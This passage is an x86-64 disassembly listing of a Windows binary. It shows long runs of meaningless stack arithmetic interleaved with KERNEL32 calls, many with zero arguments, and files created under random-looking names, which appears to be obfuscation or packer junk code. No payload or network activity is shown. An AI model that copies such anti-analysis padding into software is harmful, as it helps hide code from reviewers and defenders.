movzx ecx, word [rsp + 0x1f10]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f98], ax
movzx eax, word [rsp + 0x1f44]
movzx ecx, word [rsp + 0xfc8]
xor eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xfdc]
sar eax, cl
mov word [rsp + 0x1f94], ax
mov rax, qword [rsp + 0xc550]
movzx ecx, al
mov rax, qword [rsp + 0xc548]
shl rax, cl
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
xor r9d, r9d
lea r8, [rsp + 0xc320]
mov rdx, qword [rsp + 0xc320]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6460], eax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc1d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x647c], eax
lea rcx, [rsp + 0x1fd08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x6400]
mov qword [rsp + 0xc570], rax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37c]
or eax, ecx
mov byte [rsp + 0x379], al
mov r9d, 2
lea r8, [rsp + 0xc578]
mov rdx, qword [rsp + 0xc578]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6408], eax
mov rax, qword [rsp + 0xc1c0]
movzx eax, word [rax]
mov word [rsp + 0x1f9c], ax
mov rax, qword [rsp + 0xc0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1f94]
sub eax, ecx
mov rcx, qword [rsp + 0xc558]
mov word [rcx], ax
mov rax, qword [rsp + 0xc388]
mov rcx, qword [0x1401c7010]
add rcx, rax
mov rax, rcx
mov qword [0x1401c7018], rax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc510]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0xc540]
mov rax, qword [rax]
mov qword [rsp + 0xc580], rax
mov rax, qword [0x1401c8a60]
mov rcx, qword [rsp + 0xc3a0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xc2e8], rax
movzx eax, word [rsp + 0xa5c]
movzx ecx, word [rsp + 0xfdc]
or eax, ecx
mov word [rsp + 0x938], ax
mov eax, dword [rsp + 0x6398]
movzx ecx, al
mov eax, dword [rsp + 0x62cc]
sar eax, cl
mov dword [rsp + 0x6440], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x117]
shl eax, cl
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x380], al
mov rax, qword [rsp + 0xc400]
mov rcx, qword [rsp + 0xc570]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62a4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0xc378]
mov rax, qword [rax]
mov qword [0x1401c8a68], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc408]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1238], ax
movsx eax, word [rsp + 0x1d04]
movsx ecx, word [rsp + 0x196c]
xor eax, ecx
mov word [rsp + 0x1f7c], ax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6468], eax
mov r9d, 1
lea r8, [rsp + 0xc480]
mov rdx, qword [rsp + 0xc480]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6480], eax
movzx eax, word [rsp + 0x1f38]
mov word [rsp + 0x1fa0], ax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xaeb0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc118], rax
movsx eax, byte [rsp + 0x380]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x37d], al
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc210]
mov rax, qword [rax]
mov qword [rsp + 0xc588], rax
mov rax, qword [rsp + 0xc520]
mov ecx, dword [rsp + 0x5a3c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6380], eax
movsx eax, word [rsp + 0x1f68]
mov rcx, qword [rsp + 0xc268]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfa0], ax
movzx eax, word [rsp + 0x19ac]
mov word [0x1401c8a70], ax
mov rax, qword [rsp + 0xc540]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb910], rax
movzx eax, word [rsp + 0x1f70]
movzx ecx, word [rsp + 0x9cc]
add eax, ecx
mov rcx, qword [rsp + 0xc1c8]
mov word [rcx], ax
mov eax, dword [rsp + 0x62cc]
mov dword [rsp + 0x6484], eax
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c6]
add eax, ecx
mov byte [rsp + 0x378], al
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6480], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x18fb
xor r8d, r8d
lea rdx, [rsp + 0xc3b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x627c], eax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0x1d368]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6488], eax
lea rax, [rsp + 0x9588]
mov qword [rsp + 0xc590], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x628c], eax
lea rdx, [rsp + 0x25f48]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x637c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, str.A6zeBtZQXZ2bN
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1f98], ax
mov r9d, 0x1a5d
xor r8d, r8d
lea rdx, [rsp + 0xc048]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6474], eax
mov eax, dword [rsp + 0x644c]
mov ecx, dword [rsp + 0x5a3c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc400]
mov dword [rcx], eax
lea rcx, [rsp + 0x1fd98]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, byte [0x1401c8a12]
movsx ecx, byte [rsp + 0x37c]
or eax, ecx
mov byte [rsp + 0x379], al
movsx eax, word [rsp + 0x137c]
movsx ecx, word [rsp + 0x134c]
shl eax, cl
mov word [rsp + 0x1cfc], ax
movzx ecx, word [rsp + 0x1f34]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f30], ax
lea rcx, [rsp + 0x1fc48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6304], eax
movzx eax, word [rsp + 0x1fa0]
movzx ecx, word [0x1401c8a48]
sar eax, cl
mov word [0x1401c8a58], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.LwcAltFz5vtB2yD4BWUTL4biS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc598], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62bc], eax
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x637c], eax
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rcx, [0x1401ac430]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fa4], ax
mov rax, qword [rsp + 0xa1e0]
mov rcx, qword [rsp + 0xb910]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3e0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x627c], eax
mov rax, qword [rsp + 0xc3e0]
mov qword [rsp + 0xc5a0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x62e8], eax
movzx ecx, word [rsp + 0x1f80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fa8], ax
lea rdx, [rsp + 0x25ff0]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x637c], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0xc2b8]
movsx eax, word [rax]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc4e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x938]
mov word [rsp + 0x1fac], ax
mov eax, dword [rsp + 0x60f4]
mov ecx, dword [rsp + 0x5a3c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62a4], eax
mov rax, qword [rsp + 0xc328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x37a], al
lea rax, [rsp + 0xc548]
mov qword [rsp + 0xc5a8], rax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc560]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc450], rax
movsx eax, word [rsp + 0x1f7c]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c703c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc5b0], rax
lea rax, [rsp + 0x114c]
mov qword [rsp + 0xc5b8], rax
movzx ecx, word [rsp + 0x1f90]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f08], ax
mov eax, dword [rsp + 0x6440]
mov ecx, dword [rsp + 0x62d4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x62cc], eax
movzx eax, byte [rsp + 0x26d]
mov rcx, qword [rsp + 0xc4b8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc438]
mov byte [rcx], al
mov rax, qword [0x1401c7018]
movzx ecx, al
mov rax, qword [rsp + 0xa1e0]
sar rax, cl
mov qword [rsp + 0x9620], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
movsx eax, byte [rsp + 0x375]
movsx ecx, byte [rsp + 0x37e]
sub eax, ecx
mov byte [rsp + 0x37f], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x648c], eax
mov eax, dword [rsp + 0x62f4]
mov dword [rsp + 0x6490], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xc1a0]
imul rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc210]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa0]
add eax, ecx
mov rcx, qword [rsp + 0xc2b8]
mov word [rcx], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.BT87yY1osPSBQ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc5c0], rax
mov r9d, 1
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc440]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6460], eax
mov rax, qword [rsp + 0xc380]
movzx eax, word [rax]
movzx ecx, word [0x1401c7028]
add eax, ecx
mov word [0x1401c7040], ax
mov rax, qword [rsp + 0x9620]
mov rcx, qword [rsp + 0x9ae8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x94c8], rax
movzx eax, word [rsp + 0x1f38]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f14], ax
movzx ecx, word [rsp + 0x1f24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fb0], ax
movzx eax, word [rsp + 0x196c]
mov word [rsp + 0x1fb4], ax
mov rax, qword [rsp + 0xc3c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xba40], rax
mov rax, qword [rsp + 0xc3a8]
movzx ecx, al
mov rax, qword [rsp + 0xc468]
shr rax, cl
mov qword [rsp + 0xc550], rax
movzx ecx, word [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1f54], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rcx, qword [rsp + 0xc3b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1401c8a40]
mov rcx, qword [rsp + 0xc430]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x56b8], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.ERMVZL9YwM4hPFavxJaLr4t
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc5c8], rax
mov rax, qword [rsp + 0xc368]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d7]
cdq
idiv ecx
mov byte [rsp + 0x37a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, word [0x1401c7040]
mov word [rsp + 0x1fb8], ax
mov r9d, 1
lea r8, [rsp + 0xc098]
mov rdx, qword [rsp + 0xc5d0]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [0x1401c8a78], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x62b8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6440]
mov ecx, dword [rsp + 0x62cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5aac], eax
mov rax, qword [rsp + 0xc438]
movzx eax, byte [rax]
mov byte [rsp + 0x381], al
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1fb4]
sub eax, ecx
mov word [rsp + 0x1f7c], ax
movzx eax, word [rsp + 0x1f70]
movzx ecx, word [rsp + 0x1f78]
shl eax, cl
mov word [rsp + 0x1f8c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1d7]
sar eax, cl
mov byte [rsp + 0xa9], al
mov rcx, qword [rsp + 0xc3b8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6468], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc5a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc3a8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xa148], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [rsp + 0x62a4]
mov qword [rsp + 0xc5d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rcx, qword [rsp + 0xc568]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc4e0]
movsx eax, word [rax]
movsx ecx, word [0x1401c8a14]
sub eax, ecx
mov word [rsp + 0x1f9c], ax
mov rax, qword [rsp + 0xc4a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc1c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8a48], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xc3c8]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc0b0], rax
xor r9d, r9d
lea r8, [rsp + 0xc318]
mov rdx, qword [rsp + 0xc318]
mov rcx, qword [rsp + 0xc1a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6404], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.yleVrLcWQyH010yq6QzDE5JM
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc5e0], rax
mov rax, qword [0x1401c8a30]
mov qword [rsp + 0xc5e8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xc330]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6408], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc5f0], rax
lea rcx, [rsp + 0x1fca8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xc4b0]
mov rcx, qword [rsp + 0xc2e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0xc1c0]
movsx eax, word [rax]
movsx ecx, word [0x1401c8a14]
add eax, ecx
mov word [rsp + 0x1e38], ax
lea rdx, [rsp + 0x26060]
mov rcx, qword [rsp + 0xc270]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x63ec], eax
lea rcx, [rsp + 0x1fdc8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0x26060]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6454], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6444], eax
movsx eax, byte [rsp + 0x37d]
movsx ecx, byte [rsp + 0x380]
shl eax, cl
mov byte [rsp + 0xa9], al
lea rcx, str.wqJMQhW_FZH_F0FSl0_C61HvLV
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1fbc], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xa148]
mov rcx, qword [rsp + 0xc590]
mov qword [rsp + 0xc5f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5f8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc548], rax
mov rax, qword [rsp + 0xc520]
mov eax, dword [rax]
mov dword [rsp + 0x6494], eax
movzx eax, byte [rsp + 0x1c6]
movzx ecx, byte [rsp + 0x117]
and eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
mov eax, dword [rsp + 0x6484]
mov dword [rsp + 0x6498], eax
mov rax, qword [0x1401c8a38]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2b8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401c8a10], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x1f70]
movzx ecx, word [rsp + 0x1f8c]
or eax, ecx
mov rcx, qword [rsp + 0xc0a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1404]
movzx ecx, word [rsp + 0x1f84]
sub eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov word [rcx], ax
movzx ecx, word [rsp + 0x1f98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fb0], ax
mov r9d, 2
lea r8, [rsp + 0xc5d0]
mov rdx, qword [rsp + 0xc600]
mov rcx, qword [rsp + 0xc078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6454], eax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc390]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaef0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xc470]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6468], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x649c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc508]
shr rax, cl
mov qword [rsp + 0xc488], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov eax, dword [rsp + 0x6348]
mov dword [rsp + 0x64a0], eax
mov rax, qword [rsp + 0xc4f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x377]
shl eax, cl
mov byte [rsp + 0x376], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x1f30]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fc0], ax
movsx eax, word [rsp + 0x1cfc]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x158c], ax
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x1f38]
sub eax, ecx
mov word [rsp + 0x1f84], ax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc088]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401c7048], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
movzx ecx, word [rsp + 0x1f54]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1fc4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx eax, word [rsp + 0x114c]
mov rcx, qword [rsp + 0xc380]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1404], ax
mov rax, qword [rsp + 0xc560]
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc540]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc390]
mov qword [rcx], rax
lea rax, [0x1401c8a13]
mov qword [rsp + 0xc610], rax
mov rax, qword [rsp + 0xc3c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5ed0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc430]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [rsp + 0x6484]
mov ecx, dword [0x1401c8a1c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x62d4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x62bc], eax
mov rax, qword [rsp + 0xc4d0]
movzx eax, byte [rax]
mov byte [rsp + 0x382], al
mov rax, qword [rsp + 0xc350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc488]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc3a8], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xc268]
movzx eax, word [rax]
mov word [0x1401c8a80], ax
lea rcx, [rsp + 0x1d3e0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [rsp + 0xc010]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x62b0], eax
movsx eax, word [rsp + 0x1f50]
mov rcx, qword [rsp + 0xc4e0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12c8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, word [rsp + 0x848]
mov rcx, qword [rsp + 0xc0a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1f8c], ax
mov rax, qword [rsp + 0xc1c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc380]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
lea rcx, [rsp + 0x1fdf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x37d]
mov byte [rsp + 0x383], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0xc210]
mov rcx, qword [rsp + 0xc350]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xc430]
mov rcx, qword [rsp + 0xc520]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5eb0], eax
movsx eax, word [rsp + 0xb60]
mov rcx, qword [0x1401c8a38]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1e38], ax
lea rax, [rsp + 0x1f38]
mov qword [rsp + 0xc618], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x628c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x63b8], eax
mov rax, qword [rsp + 0xba40]
movzx ecx, al
mov rax, qword [rsp + 0x9620]
shl rax, cl
mov qword [0x1401c7010], rax
lea rcx, [rsp + 0x1d3e0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc540]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
